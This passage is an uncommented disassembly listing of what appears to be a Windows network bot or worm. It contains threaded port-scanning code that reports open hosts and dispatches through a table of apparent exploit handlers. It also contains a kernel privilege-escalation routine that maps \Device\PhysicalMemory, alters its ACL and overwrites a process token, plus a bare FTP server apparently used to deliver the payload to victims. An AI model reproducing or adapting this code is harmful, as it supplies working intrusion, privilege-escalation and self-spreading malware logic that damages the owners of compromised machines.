loc_4025C0:				; CODE XREF: sub_402459+16Fj
		push	1Eh
		call	ebx ; dword_437190


loc_4025C4:				; CODE XREF: sub_402459+165j
		cmp	[ebp+var_8], 0
		jz	short loc_4025C0


loc_4025CA:				; CODE XREF: sub_402459+163j
		push	1Eh
		call	ebx ; dword_437190
		inc	edi
		cmp	edi, [ebp+var_24]
		jbe	short loc_402560


loc_4025D4:				; CODE XREF: sub_402459+105j
		xor	edi, edi
		cmp	[ebp+var_34], edi
		jz	short loc_4025F0
		mov	eax, [ebp+var_34]
		imul	eax, 0EA60h
		push	eax
		call	ebx ; dword_437190
		jmp	short loc_4025FD
; ---------------------------------------------------------------------------


loc_4025E9:				; CODE XREF: sub_402459+1A2j
		push	7D0h
		call	ebx ; dword_437190


loc_4025F0:				; CODE XREF: sub_402459+180j
		mov	eax, [ebp+var_30]
		cmp	dword_4540DC[eax*8], 1
		jz	short loc_4025E9


loc_4025FD:				; CODE XREF: sub_402459+18Ej
		mov	eax, [ebp+var_30]
		cmp	[ebp+var_1C], edi
		mov	eax, dword_4540D8[eax*8]
		jnz	short loc_40263C
		cmp	[ebp+var_14], edi
		jz	short loc_40263C
		push	[ebp+var_34]
		push	[ebp+var_3C]
		push	eax
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
		push	esi
		lea	eax, [ebp+var_BC]
		push	offset aSSAtSDAfterDMi ; "%s %s	at %s:%d after %d minute(s)."
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 20h


loc_40263C:				; CODE XREF: sub_402459+1B1j
					; sub_402459+1B6j
		mov	eax, [ebp+var_30]
		push	0BB8h
		mov	dword_4540DC[eax*8], edi
		call	ebx ; dword_437190
		push	8
		call	sub_423800
		cmp	eax, 1
		pop	ecx
		jnz	short loc_402665
		push	offset dword_45474C
		call	dword_437168	; RtlDeleteCriticalSection


loc_402665:				; CODE XREF: sub_402459+1FFj
		push	[ebp+var_30]
		call	sub_423623
		pop	ecx
		push	edi
		call	dword_437174	; ExitThread
sub_402459	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402675	proc near		; DATA XREF: sub_402459+145o

var_198		= byte ptr -198h
var_188		= byte ptr -188h
var_104		= byte ptr -104h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D4		= byte ptr -0D4h
var_C4		= byte ptr -0C4h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	33h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_D4]
		rep movsd
		mov	ecx, [ebp+var_C]
		mov	esi, [ebp+var_34]
		mov	[ebp+var_4], ecx
		mov	dword ptr [eax+0C4h], 1
		mov	[ebp+var_8], esi
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		mov	eax, esi
		pop	ecx
		imul	eax, 2724h
		lea	ebx, dword_46D724[eax]
		jmp	loc_402803
; ---------------------------------------------------------------------------


loc_4026C7:				; CODE XREF: sub_402675+198j
		cmp	[ebp+var_18], 0
		push	eax
		jz	short loc_4026DD
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_40222C
		pop	ecx
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026DD:				; CODE XREF: sub_402675+57j
		call	sub_4021E4


loc_4026E2:				; CODE XREF: sub_402675+66j
		pop	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_40]
		push	[ebp+var_44]
		push	eax
		call	sub_4022E7
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_4027F8
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_402755
		mov	edi, offset dword_45474C
		push	edi
		call	dword_4370CC	; RtlEnterCriticalSection
		cmp	[ebp+var_24], 0
		jnz	short loc_402749
		push	[ebp+var_44]
		push	[ebp+arg_0]
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	offset aIde746o6B_ ; "Ide74/6o6/B."
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		lea	eax, [ebp+var_C4]
		push	offset aSSSSDOpen_ ; "%s %s%s: %s:%d open."
		push	eax
		push	[ebp+var_4]
		call	sub_41CE4A
		add	esp, 20h


loc_402749:				; CODE XREF: sub_402675+9Fj
		push	edi
		call	dword_437164	; RtlLeaveCriticalSection
		jmp	loc_4027F8
; ---------------------------------------------------------------------------


loc_402755:				; CODE XREF: sub_402675+8Dj
		push	[ebp+arg_0]
		call	dword_456FDC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_429B03
		mov	eax, [ebp+var_28]
		shl	eax, 6
		add	eax, offset aD1	; "d1"
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_188]
		push	eax
		call	sub_429B03
		mov	eax, [ebp+var_24]
		sub	esp, 0ACh
		mov	[ebp+var_E0], eax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_DC], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_E4], eax
		mov	eax, [ebp+var_44]
		push	31h
		mov	[ebp+var_F4], eax
		mov	eax, [ebp+var_28]
		pop	ecx
		mov	[ebp+var_F0], esi
		lea	esi, [ebp+var_198]
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_EC], eax
		rep movsd
		lea	ecx, [ebp+var_C4]
		shl	eax, 6
		push	ecx
		call	off_43A37C[eax]
		mov	esi, [ebp+var_8]
		add	esp, 0CCh


loc_4027F8:				; CODE XREF: sub_402675+83j
					; sub_402675+DBj
		push	7D0h
		call	dword_437190	; Sleep


loc_402803:				; CODE XREF: sub_402675+4Dj
		mov	eax, [ebx]
		cmp	dword_4540DC[eax*8], 0
		jnz	loc_4026C7
		push	esi
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
sub_402675	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402822	proc near		; CODE XREF: sub_402BD7+76p
		push	offset aNtdll_dll ; "ntdll.dll"
		call	dword_437034	; LoadLibraryA
		test	eax, eax
		mov	dword_454A3C, eax
		jz	short loc_40286E
		push	esi
		mov	esi, dword_437030
		push	offset aRtlinitunicode ; "RtlInitUnicodeString"
		push	eax
		call	esi ; dword_437030
		push	offset aZwopensection ;	"ZwOpenSection"
		mov	dword_454A34, eax
		push	dword_454A3C
		call	esi ; dword_437030
		cmp	dword_454A34, 0
		mov	dword_454A38, eax
		pop	esi
		jz	short loc_40286E
		test	eax, eax
		jz	short loc_40286E
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_40286E:				; CODE XREF: sub_402822+12j
					; sub_402822+42j ...
		xor	eax, eax
		retn
sub_402822	endp


; =============== S U B	R O U T	I N E =======================================



sub_402871	proc near		; CODE XREF: sub_402BD7+EDp
					; sub_402BD7:loc_402CDDp
		mov	eax, dword_454A3C
		test	eax, eax
		jz	short loc_402881
		push	eax
		call	dword_437038	; FreeLibrary


loc_402881:				; CODE XREF: sub_402871+7j
		and	dword_454A3C, 0
		retn
sub_402871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402889	proc near		; CODE XREF: sub_40292F+85p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	esi
		lea	eax, [ebp+var_8]
		push	edi
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	esi
		push	esi
		push	4
		push	6
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	dword_43701C	; GetSecurityInfo
		test	eax, eax
		jnz	short loc_40292B
		push	20h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	ecx, [ebp+var_4]
		xor	eax, eax
		mov	[ebp+var_2C], 2
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	[ebp+var_C]
		inc	eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], esi
		push	ecx
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], offset aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_4], esi
		call	dword_437020	; SetEntriesInAclA
		test	eax, eax
		jnz	short loc_402911
		push	esi
		push	[ebp+var_4]
		push	esi
		push	esi
		push	4
		push	6
		push	[ebp+arg_0]
		call	dword_437024	; SetSecurityInfo
		test	eax, eax
		jz	short loc_40292B


loc_402911:				; CODE XREF: sub_402889+6Fj
		cmp	[ebp+var_8], esi
		mov	edi, dword_43703C
		jz	short loc_402921
		push	[ebp+var_8]
		call	edi ; dword_43703C


loc_402921:				; CODE XREF: sub_402889+91j
		cmp	[ebp+var_4], esi
		jz	short loc_40292B
		push	[ebp+var_4]
		call	edi ; dword_43703C


loc_40292B:				; CODE XREF: sub_402889+2Aj
					; sub_402889+86j ...
		pop	edi
		pop	esi
		leave
		retn
sub_402889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40292F	proc near		; CODE XREF: sub_402BD7+83p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword_454044, 5
		push	edi
		jnz	short loc_402954
		mov	eax, dword_454048
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40295C
		cmp	eax, 1
		jz	short loc_40295C
		cmp	eax, 2
		jz	short loc_40295C


loc_402954:				; CODE XREF: sub_40292F+Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_402A0B
; ---------------------------------------------------------------------------


loc_40295C:				; CODE XREF: sub_40292F+19j
					; sub_40292F+1Ej ...
		push	esi
		lea	eax, [ebp+var_8]
		push	offset off_43AC84
		push	eax
		call	dword_454A34	; RtlInitUnicodeString
		lea	eax, [ebp+var_8]
		mov	esi, offset dword_454A44
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_20]
		push	eax
		push	6
		push	esi
		mov	[ebp+var_20], 18h
		mov	[ebp+var_1C], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], edi
		call	dword_454A38	; ZwOpenSection
		cmp	eax, 0C0000022h
		jnz	short loc_4029D3
		lea	eax, [ebp+var_20]
		push	eax
		push	60000h
		push	esi
		call	dword_454A38	; ZwOpenSection
		push	dword_454A44
		call	sub_402889
		pop	ecx
		push	dword_454A44
		call	dword_437044	; CloseHandle
		lea	eax, [ebp+var_20]
		push	eax
		push	6
		push	esi
		call	dword_454A38	; ZwOpenSection


loc_4029D3:				; CODE XREF: sub_40292F+6Dj
		cmp	eax, edi
		pop	esi
		jge	short loc_4029DD
		push	0FFFFFFFEh
		pop	eax
		jmp	short loc_402A0B
; ---------------------------------------------------------------------------


loc_4029DD:				; CODE XREF: sub_40292F+A7j
		push	1000h
		push	39000h
		push	edi
		push	6
		push	dword_454A44
		call	dword_437040	; MapViewOfFile
		xor	ecx, ecx
		cmp	eax, edi
		setnz	cl
		mov	dword_454A40, eax
		lea	ecx, ds:0FFFFFFFDh[ecx*4]
		mov	eax, ecx


loc_402A0B:				; CODE XREF: sub_40292F+28j
					; sub_40292F+ACj
		pop	edi
		leave
		retn
sub_40292F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A0E	proc near		; CODE XREF: sub_402BD7+E8p
					; sub_402BD7:loc_402CD8p
		mov	eax, dword_454A40
		test	eax, eax
		jz	short loc_402A1E
		push	eax
		call	dword_437048	; UnmapViewOfFile


loc_402A1E:				; CODE XREF: sub_402A0E+7j
		mov	eax, dword_454A44
		test	eax, eax
		jz	short loc_402A2E
		push	eax
		call	dword_437044	; CloseHandle


loc_402A2E:				; CODE XREF: sub_402A0E+17j
		and	dword_454A40, 0
		and	dword_454A44, 0
		retn
sub_402A0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A3D	proc near		; CODE XREF: sub_402AB5+Bp
					; sub_402B06+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_402AB0
		mov	edi, [esp+8+arg_4]
		mov	ecx, edi
		shr	ecx, 16h
		mov	eax, [eax+ecx*4]
		test	al, 1
		jz	short loc_402AB0
		test	al, al
		jns	short loc_402A69
		mov	esi, eax
		xor	esi, edi
		and	esi, 3FFFFFh
		xor	esi, eax
		jmp	short loc_402AAC
; ---------------------------------------------------------------------------


loc_402A69:				; CODE XREF: sub_402A3D+1Cj
		and	ax, 0F000h
		push	1000h
		push	eax
		push	0
		push	0F001Fh
		push	dword_454A44
		call	dword_437040	; MapViewOfFile
		mov	ecx, edi
		shr	ecx, 0Ch
		and	ecx, 3FFh
		mov	ecx, [eax+ecx*4]
		test	cl, 1
		jz	short loc_402AB0
		mov	esi, ecx
		push	eax
		xor	esi, edi
		and	esi, 0FFFh
		xor	esi, ecx
		call	dword_437048	; UnmapViewOfFile


loc_402AAC:				; CODE XREF: sub_402A3D+2Aj
		mov	eax, esi
		jmp	short loc_402AB2
; ---------------------------------------------------------------------------


loc_402AB0:				; CODE XREF: sub_402A3D+8j
					; sub_402A3D+18j ...
		xor	eax, eax


loc_402AB2:				; CODE XREF: sub_402A3D+71j
		pop	edi
		pop	esi
		retn
sub_402A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AB5	proc near		; CODE XREF: sub_402BD7+92p
					; sub_402BD7+A0p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		push	dword_454A40
		call	sub_402A3D
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_402AEB
		and	ax, 0F000h
		push	1000h
		push	eax
		push	0
		push	4
		push	dword_454A44
		call	dword_437040	; MapViewOfFile
		test	eax, eax
		jnz	short loc_402AEF


loc_402AEB:				; CODE XREF: sub_402AB5+16j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402AEF:				; CODE XREF: sub_402AB5+34j
		shr	esi, 2
		and	esi, 3FFh
		push	eax
		mov	esi, [eax+esi*4]
		call	dword_437048	; UnmapViewOfFile
		mov	eax, esi
		pop	esi
		retn
sub_402AB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B06	proc near		; CODE XREF: sub_402BD7+D0p
					; sub_402BD7+DDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		push	dword_454A40
		call	sub_402A3D
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_402B3C
		and	ax, 0F000h
		push	1000h
		push	eax
		push	0
		push	2
		push	dword_454A44
		call	dword_437040	; MapViewOfFile
		test	eax, eax
		jnz	short loc_402B40


loc_402B3C:				; CODE XREF: sub_402B06+16j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_402B06+34j
		mov	ecx, [esp+4+arg_4]
		push	eax
		shr	esi, 2
		and	esi, 3FFh
		mov	[eax+esi*4], ecx
		call	dword_437048	; UnmapViewOfFile
		xor	eax, eax
		pop	esi
		inc	eax
		retn
sub_402B06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B5C	proc near		; CODE XREF: sub_402BD7+6Fp
					; sub_402BD7+F5p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_43704C	; GetCurrentProcess
		push	eax
		call	dword_437010	; OpenProcessToken
		test	eax, eax
		jnz	short loc_402B7B
		leave
		retn
; ---------------------------------------------------------------------------


loc_402B7B:				; CODE XREF: sub_402B5C+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_437014	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_402BC9
		mov	eax, [ebp+var_10]
		mov	[ebp+var_20], 1
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		xor	eax, eax
		cmp	[ebp+arg_4], esi
		setz	al
		lea	eax, [eax+eax+2]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_437018	; AdjustTokenPrivileges
		mov	esi, eax


loc_402BC9:				; CODE XREF: sub_402B5C+32j
		push	[ebp+var_4]
		call	dword_437044	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_402B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BD7	proc near		; CODE XREF: sub_418FA1+22Fp
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset dword_454040
		mov	dword_454040, 94h
		call	dword_437050	; GetVersionExA
		test	eax, eax
		jz	loc_402CE2
		cmp	dword_454044, 5
		jnz	loc_402CE2
		mov	eax, dword_454048
		test	eax, eax
		jnz	short loc_402C1A
		mov	edi, 0A0h
		mov	ebx, 0A4h
		jmp	short loc_402C3E
; ---------------------------------------------------------------------------


loc_402C1A:				; CODE XREF: sub_402BD7+35j
		cmp	eax, 1
		jnz	short loc_402C2B
		mov	edi, 88h
		mov	ebx, 8Ch
		jmp	short loc_402C3E
; ---------------------------------------------------------------------------


loc_402C2B:				; CODE XREF: sub_402BD7+46j
		cmp	eax, 2
		jnz	loc_402CE2
		mov	edi, 8Ah
		mov	ebx, 8Eh


loc_402C3E:				; CODE XREF: sub_402BD7+41j
					; sub_402BD7+52j
		mov	ebp, offset aSesecuritypriv ; "SeSecurityPrivilege"
		push	1
		push	ebp
		call	sub_402B5C
		pop	ecx
		pop	ecx
		call	sub_402822
		test	eax, eax
		jz	loc_402CE2
		call	sub_40292F
		cmp	eax, 1
		jnz	short loc_402CDD
		push	0FFDFF124h
		call	sub_402AB5
		test	eax, eax
		pop	ecx
		jz	short loc_402CD8
		add	eax, 44h
		push	eax
		call	sub_402AB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402CD8
		lea	eax, [esi+edi]
		push	eax
		call	sub_402AB5
		add	esi, ebx
		mov	edi, eax
		push	esi
		call	sub_402AB5
		pop	ecx
		mov	esi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_402CD8
		test	esi, esi
		jz	short loc_402CD8
		lea	eax, [edi+4]
		push	esi
		push	eax
		call	sub_402B06
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402CD8
		push	edi
		push	esi
		call	sub_402B06
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402CD8
		call	sub_402A0E
		call	sub_402871
		push	0
		push	ebp
		call	sub_402B5C
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_402CE4
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_402BD7+9Aj
					; sub_402BD7+AAj ...
		call	sub_402A0E


loc_402CDD:				; CODE XREF: sub_402BD7+8Bj
		call	sub_402871


loc_402CE2:				; CODE XREF: sub_402BD7+1Bj
					; sub_402BD7+28j ...
		xor	eax, eax


loc_402CE4:				; CODE XREF: sub_402BD7+FFj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_402BD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CE9	proc near		; DATA XREF: sub_4020BA+F1o
					; sub_406C69+DDo ...

var_2E08	= byte ptr -2E08h
var_6F8		= byte ptr -6F8h
var_694		= byte ptr -694h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_3FC		= dword	ptr -3FCh
var_3EC		= dword	ptr -3ECh
var_3E8		= dword	ptr -3E8h
var_2E4		= byte ptr -2E4h
var_2B0		= byte ptr -2B0h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_148		= byte ptr -148h
var_138		= byte ptr -138h
var_D4		= byte ptr -0D4h
var_A0		= word ptr -0A0h
var_9E		= word ptr -9Eh
var_9C		= dword	ptr -9Ch
var_90		= byte ptr -90h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_74		= byte ptr -74h
var_70		= byte ptr -70h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_50		= byte ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2E08h
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ABh
		mov	esi, eax
		lea	edi, [ebp+var_694]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	ebx
		inc	esi
		push	ebx
		mov	[eax+2A4h], esi
		mov	eax, [ebp+var_3EC]
		push	ebx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_480]
		push	offset sub_41EB9C
		push	ebx
		push	ebx
		mov	[ebp+var_44], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_24C], ebx
		mov	[ebp+var_3E8], ebx
		mov	dword_454A30, eax
		call	dword_437180	; CreateThread
		push	ebx
		push	esi
		push	2
		call	dword_456FD0	; socket
		lea	ecx, [ebp+var_44]
		push	4
		push	ecx
		push	4
		push	0FFFFh
		push	eax
		mov	dword_454A1C, eax
		call	dword_456F10	; setsockopt
		lea	eax, [ebp+var_1C]
		push	eax
		push	8004667Eh
		push	dword_454A1C
		call	dword_456FF4	; ioctlsocket
		mov	ax, word ptr dword_454A30
		mov	[ebp+var_A0], 2
		push	eax
		mov	[ebp+var_9C], ebx
		call	dword_456F38	; ntohs
		mov	[ebp+var_9E], ax
		lea	eax, [ebp+var_A0]
		push	10h
		push	eax
		push	dword_454A1C
		call	dword_456F6C	; bind
		test	eax, eax
		jge	short loc_402DC7
		mov	eax, esi
		jmp	loc_40326F
; ---------------------------------------------------------------------------


loc_402DC7:				; CODE XREF: sub_402CE9+D5j
		push	0Ah
		push	dword_454A1C
		call	dword_456F68	; listen
		mov	eax, dword_454A1C
		mov	[ebp+var_24C], esi
		mov	[ebp+var_248], eax
		mov	[ebp+var_4], eax


loc_402DE9:				; CODE XREF: sub_402CE9+137j
					; sub_402CE9+57Ej
		push	41h
		lea	eax, [ebp+var_3E8]
		pop	ecx
		lea	esi, [ebp+var_24C]
		push	ebx
		push	ebx
		push	ebx
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_3E8]
		inc	eax
		rep movsd
		push	eax
		call	dword_456F1C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40326C
		xor	esi, esi
		cmp	[ebp+var_4], ebx
		mov	[ebp+arg_0], esi
		jl	short loc_402DE9


loc_402E22:				; CODE XREF: sub_402CE9+578j
		push	64h
		lea	eax, [ebp+var_2B0]
		push	ebx
		push	eax
		call	sub_429760
		push	64h
		lea	eax, [ebp+var_138]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 18h
		lea	eax, [ebp+var_3E8]
		push	eax
		push	esi
		call	dword_456DD8	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40325A
		mov	eax, dword_454A1C
		cmp	esi, eax
		jnz	loc_402EEC
		lea	ecx, [ebp+var_5C]
		mov	[ebp+var_5C], 10h
		push	ecx
		lea	ecx, [ebp+var_148]
		push	ecx
		push	eax
		call	dword_456FE4	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_28], eax
		jz	loc_40325A
		mov	edx, [ebp+var_24C]
		xor	ecx, ecx
		cmp	edx, ebx
		jbe	short loc_402EA5


loc_402E97:				; CODE XREF: sub_402CE9+1BAj
		cmp	[ebp+ecx*4+var_248], eax
		jz	short loc_402EA5
		inc	ecx
		cmp	ecx, edx
		jb	short loc_402E97


loc_402EA5:				; CODE XREF: sub_402CE9+1ACj
					; sub_402CE9+1B5j
		cmp	ecx, edx
		jnz	short loc_402EBB
		cmp	edx, 40h
		jnb	short loc_402EBB
		mov	[ebp+ecx*4+var_248], eax
		inc	[ebp+var_24C]


loc_402EBB:				; CODE XREF: sub_402CE9+1BEj
					; sub_402CE9+1C3j
		cmp	eax, [ebp+var_4]
		jle	short loc_402EC3
		mov	[ebp+var_4], eax


loc_402EC3:				; CODE XREF: sub_402CE9+1D5j
		mov	esi, offset a220 ; "220\r\n"
		lea	edi, [ebp+var_7C]
		movsd
		lea	eax, [ebp+var_7C]
		push	ebx
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_28]
		call	dword_456F8C	; send
		jmp	loc_403257
; ---------------------------------------------------------------------------


loc_402EEC:				; CODE XREF: sub_402CE9+177j
		push	ebx
		lea	eax, [ebp+var_2B0]
		push	64h
		push	eax
		push	esi
		call	dword_456F58	; recv
		test	eax, eax
		jg	short loc_402F49
		mov	ecx, [ebp+var_24C]
		xor	eax, eax
		cmp	ecx, ebx
		jbe	short loc_402F3D


loc_402F0D:				; CODE XREF: sub_402CE9+230j
		cmp	[ebp+eax*4+var_248], esi
		jz	short loc_402F32
		inc	eax
		cmp	eax, ecx
		jb	short loc_402F0D
		jmp	short loc_402F3D
; ---------------------------------------------------------------------------


loc_402F1D:				; CODE XREF: sub_402CE9+24Cj
		mov	ecx, [ebp+eax*4+var_244]
		mov	[ebp+eax*4+var_248], ecx
		mov	ecx, [ebp+var_24C]
		inc	eax


loc_402F32:				; CODE XREF: sub_402CE9+22Bj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_402F1D
		dec	[ebp+var_24C]


loc_402F3D:				; CODE XREF: sub_402CE9+222j
					; sub_402CE9+232j
		push	esi
		call	dword_456FF0	; closesocket
		jmp	loc_40325A
; ---------------------------------------------------------------------------


loc_402F49:				; CODE XREF: sub_402CE9+216j
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429E0E
		mov	esi, dword_437178
		add	esp, 10h
		lea	eax, [ebp+var_138]
		push	offset aUser	; "USER"
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_402FA2
		mov	esi, offset a331 ; "331\r\n"
		lea	edi, [ebp+var_58]
		movsd
		lea	eax, [ebp+var_58]
		push	ebx
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58]
		jmp	loc_40323B
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_402CE9+298j
		lea	eax, [ebp+var_138]
		push	offset aPass	; "PASS"
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_402FD3
		mov	esi, offset a230 ; "230\r\n"
		lea	edi, [ebp+var_70]
		movsd
		lea	eax, [ebp+var_70]
		push	ebx
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_70]
		jmp	loc_40323B
; ---------------------------------------------------------------------------


loc_402FD3:				; CODE XREF: sub_402CE9+2C9j
		lea	eax, [ebp+var_138]
		push	offset aPort	; "PORT"
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jnz	loc_4030AE
		lea	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_429E0E
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_42A100
		mov	esi, eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_42A100
		mov	edi, eax
		push	32h
		lea	eax, [ebp+var_D4]
		push	ebx
		push	eax
